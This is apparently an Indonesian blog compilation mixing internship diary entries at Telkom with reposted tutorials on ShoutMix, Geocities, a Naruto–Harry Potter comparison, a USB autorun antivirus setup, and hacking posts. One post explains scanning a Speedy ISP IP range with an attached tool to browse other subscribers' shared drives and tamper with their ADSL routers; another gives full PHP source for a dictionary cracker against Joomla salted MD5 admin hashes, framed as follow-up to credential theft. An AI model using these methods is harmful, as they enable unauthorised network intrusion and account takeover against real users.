dihari ini aku melakukan pengukuran BAMS,oh ya kalau aku hanya melakukan 1 kegiatan yang tercantum'bukan berarti aku nganggur loch tapi sebenarnya ada tugas yang lain,cuma tugas tersebut rasanya kurang layak tuk di cantumkan
gitu maksudnya,ya sekilas info aja si!!!!

Hari ini cukup banyak yang ku lakukan,seperti:
1.melakukan pengukuran bams
2.penerangan tentang kabel tembaga dan sterukturnya
3.penerangan tentang sistem dan kegitan validasi
4.membuat balop(berita acara laik operasi)

di hari ini aku melakukan pengukuran bams

Dihari ini aku seperti kemarin-kemarinnya lagi yakni merekap omset

Di hari ini aku melakukan banyak hal,diantaranya mengikuti trening gratis Yang di adakan pihakTelkom'masalah Speedy seperti
1.Pembelajaran dan pembinaan sistem-sistem kerja periperal Telkom seperti MDF,
Rk,Dp & banyak lagi
2.Pengenalan & pemahaman Speedy
3.Setting modem,Bridge,Dan router pada sistem speedy hingga terconec dengan
internet

Seperti kemarin hari ini juga aku melakukan rekap omset,garing si tapi mau gimana lagi,sebagai anak yang ingin dianggap baik di kantor ya tetap harus melakukan semua tugas,walau gitu merekap omset termasuk kegiatan yang paling menyenangkan'coz bisa buat jariku keriting

Dihari ini kegiatan yang kulakukan yakni merekap omset,ya hanya itu yang kulakukan tapiii meski satu tetap aja mampu membuat jariku keriting
he...he...he...

hari ini hari terakhir jatah ku dengan mba vani.dan aku cuma mendapatkan tugas memeriksa dokumen tagihan
gimana unikkan ,kan akudah bilang selama 1 minggu ini aku terpaksa keluar dari jurusanku dulu,ya mencoba merasakan tugas AP gapapakan

hal yang aku lakukan di hari ke 4 ini yaitu
1.menginverisasi alat kerja
2.pengecekan ulang kartu barang

di hari ini yang aku lakukan seperti kemarin yaitu mengagendakan surat keluar dan masuk,ya bgitulah yang kulakukan,memang mudah tapi membosankan

Kegiatan yang aku lakukan dihari ini adalah sebagai berikut:
1. aku mendapat pengarahan dan pengenalan sistem kerja
telkom
2.mengagendakan surat masuk

1.pengenalan tentang telkom & pembagian tempat di
a.costomer care
b.anow
c.anem
2.perkenalan dengan pegawai telkom
3.jalan kaki dari kantor sto sampai ke telkom kandatel

sekedar pengetahuan:
gunakan sebaik mungkin jangan buat untuk menyalai

nih contoh ip: speedy
125.163.246.0
klik options pilih detect IP range from host name.
masukkan IPnya di kolom=Enter a host name.
kemudian start Scanning.
tunggu sebentar nanti terlihat gmr compi,pilih yg ada tanda +nya
jangan lupa klik timbangan
Attached Files
File Type: rar netscan.rar (618.0 KB, 654 views)

itu buat membuka atau mengintip jaringan orang lain yang sama2 berlangganan speedy
kita bisa menjelajahi folder atau drive yang di sheard oleh pelanggan.dan kita bisa masuk
di router modem adsl pelanggan.dan bila kita tau username sama passwordnya kita bisa merubah atau meng utak-atik
program routernya.di coba aja di utak atik.untuk bisa masuk ke router modemnya pakai klik kanan pada salah satu ip kemudian open komputer as web (Http).silakan di utak atik sendiri yang lain.gak ada efek sampingnya buat kita.
mumpung firewall speedynya kurang

Setiap kali kita browsing di internet dan menemukan blog orang tentu kita sudah kenal yang namanya shoutbox, chatbox atau apalah istilahnya yang terpenting adalah tempat dimana sebagai tempat untuk menyampaikan sesuatu pesan kepada orang lain melalui type text (penulisan teks).
Untuk anda yang ingin menempatkan ChatBox/ShoutBox ini ke blog anda, maka anda harus berkunjung ke http://www.shoutmix.com untuk mendapatkan kotak chating di sana berupa script yang harus di pastekan di dalam blog anda.
Ada tiga langkah penting untuk mendapatkan chatbox dari shoutmix yaitu yang pertama membuat akun anda (create account), kemudian memilih bentuk (style) chatbox anda dan yang ketiga menempatkan code yang diberikan ke blog anda.

Setelah berada dalam web http://www.shoutmix.com, klik pada Create Account sehingga muncul jendela seperti pada gambar berikut

Pada window atau jendela ini kita diminta melengkapi data kita, pada shoutbox ID, masukan ID shoutbox ID anda dan password anda pada chose password dan ulangi sekali lagi di kota retype password.
Sedangkan pada bagian bawahnya masukan nama serta alamat email anda, jangan lupa berikan tanda centang/rumput pada terms of service dan klik continue


pada window di atas kita diminta untuk menentukan bentuk/style dari shoutbox yang sesuai dengan keinginan kita. Tentukan pilihan anda dengan klik pada yang berada di atas masing-masing bentuk/style shoutbox dan masukan huruf-huruf yang ada di sebelah kanan dalam kotak verification kemudian klik continue untuk menuju langkah ke tiga



Klik pada control panel yang saya beri lingkaran berwarna merah di atas

Klik pada Get codes untuk mendapatkan kode script shoutbox kita


klik place shoutbox on webpage seperti terlihat pada gambar di atas

bila hendak mengubah ukuran shoutbox anda, maka gantilah ukuran shoutbox anda dengan tinggi (height) dan lebar (width) yang sesuai dengan bentuk tampilan di halaman blog anda.


Langkah terakhir adalah menempatkan code shoutbox kita pada blog kita dengan cara copy code di atas dan pastekan pada blog kita. Caranya dapat di baca di sini
Untuk lokasi penempatan shoutbox anda sendiri yang akan mengaturnya di blog anda.
semoga membantu

Gambar snapshot geocities sebagai tempat membuat website gratis,kamu tertarik untuk membuat website tetapi belum tahu HTML? kamu bisa mencoba Yahoo Geocities. Dengan langkah-langkah berikut, dalam 10 menit website kamu sudah jadi. kamu bisa menggunakan Page Wizard untuk membuat halaman website dengan cepat tanpa pemrograman. Tidak percaya? Dicoba dulu aja …
Jika kamu ingin membuat website, kamu perlu tempat hosting. Web hosting adalah tempat menaruh file Anda di Internet. Webhosting ada yang bayar ada yang gratis. Web hosting gratis misalnya:

1. Yahoo Geocities. Alamatnya http://www.geocities.com
2. 50webs. Alamatnya http://www.50webs.com
3. Tripod. Alamatnya http://www.tripod.com

Web hosting yang bayar misalnya:

1. Bali Web Hosting. Alamatnya: http://www.balinter.net
2. Bandung web hosting. Alamatnya: http://www.qwords.com

Dalam tutorial ini hanya dibahas bagaimana membuat website di Yahoo Geocities.

Kenapa Geocities? Pertama, kamu tidak perlu repot-report registrasi ulang jika sudah memiliki email di Yahoo. Cukup login di Yahoo Mail. Trus ketik http://www.geocities.com. Otomatis Anda sudah dapat memulai website

Okey, sekarang kita mulai membuat website. Langkah-langkahnya:

1. Klik di sini http://www.geocities.com, login dengan Yahoo ID dan password kamu.
2. Jika kamu sudah membuat website dan menyimpannya di komputer, pilih EASY UPLOAD atau klik link berikut: http://geocities.yahoo.com/v/ul.html
3. Upload file kamu.
4. Jika kamu sama sekali belum membuat website, pilih PAGE WIZARD. Klik link berikut: http://geocities.yahoo.com/v/w
5. Dalam PAGE WIZARD, pilih model yang sesuai dengan selera kamu, isi website kamu.
6. Ikuti langkah-langkah yang ada.
7. Selesai. Website Anda punya alamat: www.geocities.com/yahoo_id_anda

Cukup mudah bukan?

jika anda selama ini berpikir bahwa Anime yang paling mirip dengan HARRY POTTER adalah MAHOU SENSEI NEGIMA, well, dude, salah… Salah!!!! Sebenarnya yang paling mirip adalah NARUTO!!!
“Gilaaa…!”
Ya… knapa saya sampai berpikir seperti itu?
Tsk..tsk.. Saya tidak sembarangan bicara, segudang referensi telah saya telaah dalam-dalam hingga membebani fisik maupun mental sehingga tidak heran kalau berat saya turun bulan puasa ini. Sementara Negi membanggakan diri kemiripannya dengan Harry Potter menggunakan Tongkat dan kacamata yang entah dimana gagangnya, Naruto telah Bercosplay Harry ria!
yayaya.. Pokoknya, mari kita lanjut dan masuki pembahasan berikut…

Apa yang melatarbelakangi persamaan ini? Saya tidak tau. Yang pasti, jika kita berpikir secara logika yang terasah dan mendalam, sepertinya titik utama dari segala kegiatan di naruto adalah Ninjutsu, atau lebih berarti Magic Ninja. Entah mengapa, segala tindak-tanduk di naruto terutama saat fighting scene lebih menonjolkan Ninjutsu meskipun ada Taijutsu dan Genjutsu (Genjutsu juga sepertinya bisa dikategotikan menyihir, meskipun saya yakin, Rommy Rafael dan Deddy Corbuizer tidak sependapat dengan saya)
Balik ke topik… Sihir menyihir ala Ninja ini mengingatkan saya pada Harry Potter, walaupun secara Langsung dan tidak Langsung(?). Setelah menelaah lebih dalam, persamaan-persamaan berikut berhasil ditemukan!

ADA SEKOLAH NINJA, ADA SEKOLAH SIHIR
Yeah, meskipun saat buku dimulai, Naruto berada di bagian akhir ujian sekolah Ninja.

NARUTO DAN HARRY
Bapak mereka sama-sama tidak terlalu sering muncul. Jika tanda petir di dahi Harry berarti dia telah menyerap sebagian kemampuan Voldemort, belang-belang di pipi dan Segel di perut Naruto berarti kekuatan Kyubi ada pada dirinya. Mereka juga sepertinya cukup terkenal dengan tanda itu dan membuat mereka mendapat perlakuan khusus yang meskipun berbeda, membuat mereka sama-sama merasa tidak nyaman.

ANBU DAN AUROR
Persamaan yang pertama, adalah nama profesi mereka sama-sama dimulai dengan huruf “A”. Hebat bukan? Pekerjaan mereka sama-sama memburu penghianat, baik di kalangan penyihir maupun ninja.

THE EYE BALL
Jika (film) Naruto memiliki (/terdapat didalamnya) Sharingan dan Byakugan, Harry Potter memiliki Mad-Eye Moody dengan matanya yang mampu menarik hati siapa saja, bahkan Sakura dan Ino. Jika Kakashi memiliki Sharingan Sebelah Mata, mata biru elektrik dari Mad-Eye Moody juga hanya sebelah! Sayangnya, kakashi telah keluar dari Anbu dan Moody juga bisa dianggap keluar, tapi dia bergabung dengan Orde Phoenix, yang mengkhususkan diri mengejar DIA YANG NAMANYA TIDAK BOLEH DISEBUT (iihh.. merinding…). Uniknya, mata biru elektrik Moody memiliki kesamaan kegunaan dengan Byakugan. Sayangnya, dia berwarna Biru, bukan putih. Jika beberapa orang menganggap mata Neji katarak karena berwarna putih, Semua orang di Harry Potter menamai mata Moody Gila dan Menjijikkan.

Note : Kakashi mungkin malu menunjukkan mata merahnya tapi Moody percaya diri dengan mata birunya.

Note EDIT : Pada bagian awal saya tambahkan film. Kredit ke boss alie. memang gaya penulisan seperti itu bisa menimbulkan ambigu. Seharusnya saya tulis “Naruto”. Disini naruto menunjukkan FILM, bukan TOKOH.

KEPALA SEKOLAH
Ya.. Mereka sama-sama tua, selain itu, sama-sama mati.

GRUP
Grup Harry adalah Harry-Ron-Hermione, Grup Naruto (sebelum sasuke minggat) adalah Naruto-Sasuke-Sakura, 2 cowok, satu cewek. Perhatikan nama mereka, ada dua orang yang memiliki huruf depan sama (Harry-Hermione, Sasuke-Sakura) dengan satu cowok yang huruf awalnya lain sendiri (Ron-Naruto). Meskipun begitu, setidaknya Hermione tidak mengejar-ngejar Ron seperti Sakura mengejar-ngejar Sasuke.

SAKURA DAN HERMIONE
Perempuan, Pintar. Apakah mereka kembar?

OROCHIMARU DAN VOLDEMORT
Orochimaru dan Voldemort memiliki banyak persamaan. Keduanya berkaitan erat dengan ular. Manda bahkan memiliki bentuk yang sama dengan Basilisk yang dideskripsikan dalam buku, meskipun basilisk tidak berwarna keunguan. Jika Voldemort berbicara pada Basilisk dengan PARSELTONGUE, Manda berbicara pada Orochimaru dengan SINGLETONGUE (yah, mungkin itulah julukan terhadap ular yang mampu berbahasa Jepang-dengan sentuhan preman).
Jika Voldemort menghabiskan waktu luangnya dengan meloncat-loncatkan rohnya di Horcrux-Horcruxnya yang bertebaran dimana-mana, Orochimaru lebih suka meloncat-loncati tubuh orang lain, dan karena gemar meloncat-loncat, mereka diburu…

MANTRA YANG SELALU DISEBUTKAN
Jika tokoh-tokoh dalam Harry Potter selalu menyebutkan nama sihir mereka, begitupula dengan semua Jutsu di naruto. Jika pada akhirnya tokoh2 di Harry Potter hanya menyebutkan mantranya dalam hati, di Anime dapat kita lihat, beberapa tokoh menyebut nama jurus mereka tanpa menggerakkan bibir.

KACAMATA
Harry mengenakan kacamata dan Naruto mengenakan Kacamata Pilot sebelum menggantinya dengan Head Protector.

PELAHAP MAUT DAN AKATSUKI
Jika semua Pelahap Maut mengenakan Jubah Gelap, setiap anggota Akatsuki berjubah sama gelapanya, dengan ditambah sedikit awan kemerahan. Dua grup ini juga sepertinya sedikit malu dengan mukanya, sehingga menutupinya dengan topi tinggi atau caping. Menu favorit mereka juga sepertinya sama, “MAUT GORENG MENTEGA”

TERSEMBUNYI?
Desa Konohagakure dan Kastil Sekolah Sihir sama-sama segede bandara Soekarno-Hatta tapi entah mengapa sepertinya susah sekali ditemukan…

RAKSASA
Jika semua tokoh di Harry Potter terbiasa dengan Hagrid, Semua penghuni Konohagakure terbiasa melihat bapak Chouji menggunakan Chou-Baika No Jutsu. Keduanya juga sepertinya senang dengan Gaya Rambut Pencinta Alam.

PENYIHIR?
Kita semua sudah tau bahwa sebelumnya, Naruto adalah penihir kecil dalam manga pendek karya Masashi Kishimoto, yang kemudian menjadi Manga Ninja. apakah ini berarti pada seri-seri setelah buku Harry Potter berakhir, J.K. Rowling akan menulis Harry The Ninja???

Blogbox

Get the perfect blog templates

Average rating:

Create your own Blogbox!

membuat anti virus dari vles Disk.
Jengkel dengan Virus yang otomatis menginfeksi Flash Disk Anda saat Anda colokkan USB Flash Disk Anda ke port komputer yang terinfeksi virus?
Bagaimana tidak kita akali saja dengan Membuat Anti Virus AutoRun dari USB Removable Drive semacam Flash Disk?
Seringkali Virus akan membuat file “autorun.inf” yang ber-attribute file hidden dan system (dan/atau bisa juga termasuk file virus/trojan - server) begitu Anda memasangkan Flask Disk yang dijadikan target penginfeksian virus ataupun target pengintipan aktivitas user atau pencurian data user dengan Trojan.
file autorun.inf inilah command atau pemicu tereksekusinya file induk dan library virus/trojan yang sudah bersarang di komputer lokal atau jaringan tempat Flash Disk Anda berinteraksi dan berhubungan langsung.
Bila Anda pengguna OS Windows, seperti kita ketahui, Versi Windows sebelum generasi Windows Vista (termasuk Windows Windows XP), secara default tidak mengijinkan proses “AutoRun” executable files dari media USB Removable Drives seperti External Hardisk ataupun Flash Drive/Flash Disk (kecuali dari media cakram digital) yang kemungkinan besar ditujukan untuk kepentingan keamanan. Windows hanya mengijinkan proses “AutoPlay” media saja seperti AutoPlay Movie/Music dari DVD atau command seperti Open/View file melalui windows explorernya.
Untungnya (dari faktor kemudahan) sekaligus sayangnya (dari faktor keamanan), Windows Vista secara default telah memperkenankan proses “AutoRun” dilangsungkan dengan dafault opsi yang bisa Anda pilih secara permanen.
Lalu bagaimana mengakali Windows XP agar bisa mengijinkan proses “AutoRun” executable files dari removable drives seperti External Hardisk maupun Flash Disk?
Di bawah ini Penulis sampaikan teknis pembuatan AutoRun AntiVirus pada Flash Disk.

* Download ANtiVirus yang bersifat Portable

Kenapa harus Portable? Karena tujuan dari pembuatan AutoRun File dari Flash juga bersifat portable, jadi program rujukan, dalam hal ini Anti Virus, bisa dijalankan langsung dari Flash Drive tanpa diperlukan instalasi.
Anda bisa menggunakan ANSAV (Ansav.exe - jangan ANSAV Security Guard) atau PCMAV (PCMAV-CLN.EXE - Jangan PCMAV-RTP.EXE)
Masukkan file Anti Virus Portable (plus file library pendukungnya - bila ada) tersebut ke dalam Flash Disk Anda. Dalam contoh kali ini, untuk mempermudah, letakkan saja di Root Flash Disk Anda tanpa perlu Anda masukkan ke dalam folder.

* Pembuatan AutoRun Dari Flash Disk

Ada 2 (dua) opsi yang bisa Anda pilih:

1).Menggunakan bantuan software orang lain,

Nomor ini tidak akan menjadi bahan pembicaraan inti pada Artikel ini.
Namun bila Anda menghendaki, Penulis merekomendasikan Anda untuk menggunakan aplikasi bernama APO USB AutoRun yang sangat bagus dan berkualitas, berfungsi dengan baik pada Windows XP SP2, berukuran file kecil, dan gratis lagi.
APO AutoRun USB akan membuat service bernama autorunusb.exe yang berjalan di background sebagai detektor yang bertugas memindai file autorun.inf pada root removable drive dan mendeteksi semua executable files pada media removable drive serta akan mencocokkan executable files tersebut dengan file name dan path file yang dirujuk oleh file autorun.inf tersebut.
Yang penulis heran dari software ini, APO tetap akan melakukan scan pada seluruh executable files yang ada pada media removable drives.
Namun, walau efeknya sedikit memperlambat kinerja komputer, proses scanning tersebut Penulis cermati dan rasakan sangat bermanfaat juga untuk memindai keberadaan Virus pada Removable Drives yang belum sempat terdeteksi oleh AntiVirus yang aktif di komputer. Begitu proses scanning menemukan suatu executable files atau script yang dianggap sebagai malware oleh AntiVirus tersebut, maka akan memicu (trigger) notifikasi dari AntiVirus bahwa telah ditemukan threat (virus).
Sayangnya APO AutoRun USB harus Anda install dulu sebelum Anda bisa mengaplikasikan AutoRun dari flash disk. Untungnya APO AutoRun USB juga telah menyertakan instalasi untuk keperluan portable plus autorun.inf builder.

2). Menggunakan bantuan tangan Anda sendiri

Teknik yang bisa Anda lakukan adalah pertama-tama dengan sedikit mengubah struktur HEX pada Windows Registry.
Bila sebelumnya atau secara default Windows tidak mengijinkan proses “AutoRun” dari USB Flash Disk, maka Registry-nya seperti ini:
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000095
Agar Windows bisa mengijinkan proses “AutoRun” dari USB Flash Disk, maka ubah Registrynya menjadi:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000091


Anda bisa mengCopy Registry Lines tersebut, lalu Anda simpan sebagai (misal): “AutoRun_Removable_Media_Enable.reg” untuk Anda Klik kanan dan Merge (gabungkan) dengan Windows Registry Database.
Setelah Anda berhasil memasukkan Registry Entry Files ke dalam Windows Registry Database, maka pekerjaan Anda yang terakhir adalah membuat file “autorun.inf” yang berfungsi sebagai Command dengan rujukan ke File Anti Virus yang telah Anda download dan masukkan ke dalam Flash Disk Anda (pada Langkah I)
Dalam contoh ini, Penulis menggunakan PC Media Anti Virus PCMAV-CLN.EXE yang filenamenya telah Penulis ubah menjadi PCM4V-CL34N32.EXE guna menghindari pendeteksian Virus yang dimungkinkan akan memblokir PCMAV-CLN.EXE.
Maka file “autorun.inf” PCMAV menjadi seperti ini:

PC Media Anti Virus

[AutoRun]
open=PCM4V-CL34N32.EXE
icon=PCMAV.ICO
shellexecute=PCM4V-CL34N32.EXE
shell\Scan Virus\command=PCM4V-CL34N32.EXE
shell=Scan Virus


Salin baris-baris INF tersebut, dan simpan sebagai .INF file dengan nama “autorun.inf” (tanpa tanda kutip), kemudian letakkan file “autorun.inf” tersebut pada Root Flash Disk Anda.
KETERANGAN
• Untuk file ICON dari PCMAV, Penulis extract dari file PCMAV-CLN.EXE, yang mana ICON file tersebut juga ditempatkan pada Root Flash Disk. Anda bisa menghilangkan/menghapus baris “icon=PCMAV.ICO” yang digunakan untuk memunculkan ICON File PCMAV sebagai Icon penanda Flash Disk seperti pada screenshot di atas. Baris rujukan ICON ini tidak mempengaruhi proses AutoRun. Namun bila Anda menginginkan PCMAV ICON tersebut, Anda bisa mendownloadnya dengan klik link ini.
• Baris-baris INF tersebut bisa Anda modifikasi sesuai selera tulisan Anda, yang penting path file Anda tidak salah; file tujuan Anda rujuk secara relatif.
• Jangan Lupa, untuk menghindari terhapusnya file dengan begitu mudahnya, sebaiknya sembunyikan saja File Anti Virus berserta library file pendukungnya (bila ada) maupun file “autorun.inf”nya dengan mengeset File Attributnya dengan “hidden” dan bila perlu “system”. Satu rekomendasikan lagi, alangkah baiknya, semua File tersebut Set File Attributenya menjadi “Read Only” agar, secara sederhana, tidak bisa termodifikasi.
Untuk keperluan setting modifikasi File Attribute terbut Anda bisa melakukannya dengan Select All files yang akan disembunyikan, lalu klik kanan file-file tersebut, pilik dan klik “properties”, dan beri tanda centang pada check box “hidden. Sedang untuk set menjadi “system”, Anda bisa menggunakan Windows ATTRIB.EXE di lingkungan kerja DOS atau Anda bisa juga menggunakan Attribute Changer yang berlingkungan kerja GUI. Q = Lho, katanya ga pake tool ya? A = untuk mudahnya, gunakan Attribute Changer bila ATTRIB.EXE dirusak/dihapus Virus/Admin dan Anda malas untuk extract dari Windows CAB.
Selamat Mencoba.

di ibaratkan seperti pisau yang memiliki 2 sisi tajam, di satu sisi seorang admin web dapat menjaga ketat sitenya dengan aman, namun patut diketahui pula tidak ada sistem yang memiliki keamanan 100%, selalu saja ada bolong yang masih dapat di eksploitasi, tapi setidaknya dapat meminimalisir serangan yang ada, dan di sisi lain yang akan penulis terangkan nanti tentunya cenderung digunakan untuk kegiatan vandalisme/merusak oleh beberapa pihak. Ya, tidak heran jika teori tesis dan anti tesis kerapkali hadir dalam dunia perhackingan ini. Di satu sisi membangun tapi di sisi lain menghancurkan. Lantas yang harus di lakukan sekarang adalah, tetap waspada pada security risk yang ada, dan ketahuilah tamu tak diundang selalu menyempatkan waktunya untuk hadir memonitoring site anda, jika anda melakukan sedikit saja salah langkah akibatnya cukup fatal.

Waha... sepertinya intro tutorial harus dipisahkan sendiri dalam tutorial yang berbeda, jari penulis begitu asik menari-nari di atas tuts keyboard sampai-sampai lupa pada pokok pembahasan. :D.

Ya, berdasarkan artikel sebelumnya, betapa mudahnya seorang attacker mendapatkan username dan password sang administrator pada content management system seperti joomla, tapi masih terdapat satu masalah, dimana seorang attacker masih belum dapat melakukan eksploitasi lebih lanjut, dikarenakan password yang didapatkan itu masih dalam bentuk password yang terenkripsi, sehingga butuh perlakuan khusus lebih lanjut untuk mendapatkan password yang sesungguhnya. Di sinilah penulis akan mencoba menjelaskan sebuah konsep sederhana bagaimana mendapatkan suatu password asli yang terenkripsi, namun penulis hanya membatasi cracking password pada satu jenis hash saja, yaitu joomla hash password. Penjelasan yang akan penulis lakukan bukanlah mencoba membuat algoritma dekripsi password tetapi hanyalah penggunaan metode dictionary file, dimana untuk mendapatkan password asli cukup dilakukan pencocokan password dengan kamus data yang ada sehingga menghasilkan password yang sebenarnya. :D. Namun setiap aplikasi selalu saja memiliki kekurangan, penulis tidak menafikan hal itu. Karena kesempurnaan hanyalah milik sang Pencipta. ;) Kekurangannya adalah resource memori yang di butuhkan untuk metode seperti ini cenderung lebih besar dari ukuran biasanya.

Berikut adalah source code lengkap 'simple joomla password cracker' :

-----------------------// cut here

 

 

Simple Joomla Password Cracker Developed by : ilmuwebsite.com

Masukkan password hashnya disini :

$hashes=array();
$i=0;
$parts=explode(":",$_POST['hash']);
$hashes[$i][0]=$parts[0];
$hashes[$i][1]=$parts[1];

if (ISSET($_POST['hash']))
{
$str = " ";
echo "Started: ";
echo date("F j, Y, g:i:s a");

$lines = file('kamus2.txt');

foreach ($lines as $line_num => $line)
{
check($line);
}

$lines = file('kamus1.txt');

foreach ($lines as $line_num => $line)
{
check($line);
}

echo "
Finished : ";
echo date("F j, Y, g:i:s a");

}

function check($a)
{
global $i;
$a=rtrim($a) ;

for($x=0;$x<=$i;$x++)
{
global $hashes;

if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo "

The password is :

$a

";
echo "Ended: ";
echo date("F j, Y, g:i:s a");
}

}

}
?>


Tolong di kembangkan ya ?! :D



-----------------------// cut here


Untuk menjalankan script ini di localhost anda perlu merubah konfigurasi php.ini, yaitu dengan mengganti baris ini :
memory_limit = 32M ;



menjadi > 32, penulis menggantinya menjadi :
memory_limit = 256M ;

Ya, sebelum berlanjut, penulis akan membahas struktur password joomla yang terenkripsi terlebih dahulu, enkripsi password joomla biasanya terdiri dari hash dan salt. Standar enkripsi joomla biasanya berbentuk seperti ini :

b51498faae03f7cf533e3ed97fc00116:9VrQpQzdNQHhtieK

Hashnya itu terdapat pada bagian yang pertama yaitu b51498faae03f7cf533e3ed97fc00116, dan saltnya itu ada di bagian akhir 9VrQpQzdNQHhtieK, keduanya terlihat di pisahkan dengan titik dua ":". Salt bagi seorang attacker berfungsi untuk membantu dalam pencarian password sesungguhnya.
Yang ditemukan disini adalah jika password berbentuk plain text di gabung dengan saltnya maka akan menghasilkan hash password joomla. Dengan kata lain jika : x + salt = hash joomla. Sehingga jika di implementasikan melalui enkripsi md5 :

md5(x + salt) = hash

maka :

md5(x + 9VrQpQzdNQHhtieK) = b51498faae03f7cf533e3ed97fc00116

berapakah x ? ( pak Mamat guru matematika di SMAN 4 Bogor kayanya tau. :D huehuehuehehe... )

Ya seperti pada baris kalimat ini :

...
if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo "

The password is :

$a

";
...

Dan hasilnya adalah ...


:D~~

Penulis yakin anda cukup familiar dengan source di atasnya. Dan algoritmanya pun cukup mudah. Script lengkap dan kamus passwordnya dapat di download di sini ...
Selamat mencoba. Selamat mengembangkan ! :D

Greetz for : b_scorpio, peterpanz, abuzahra, phii_, nazwa, jojo, ivan, fadli, safril, dr.emi, husniearif, [H], dan ilmuwebsite community.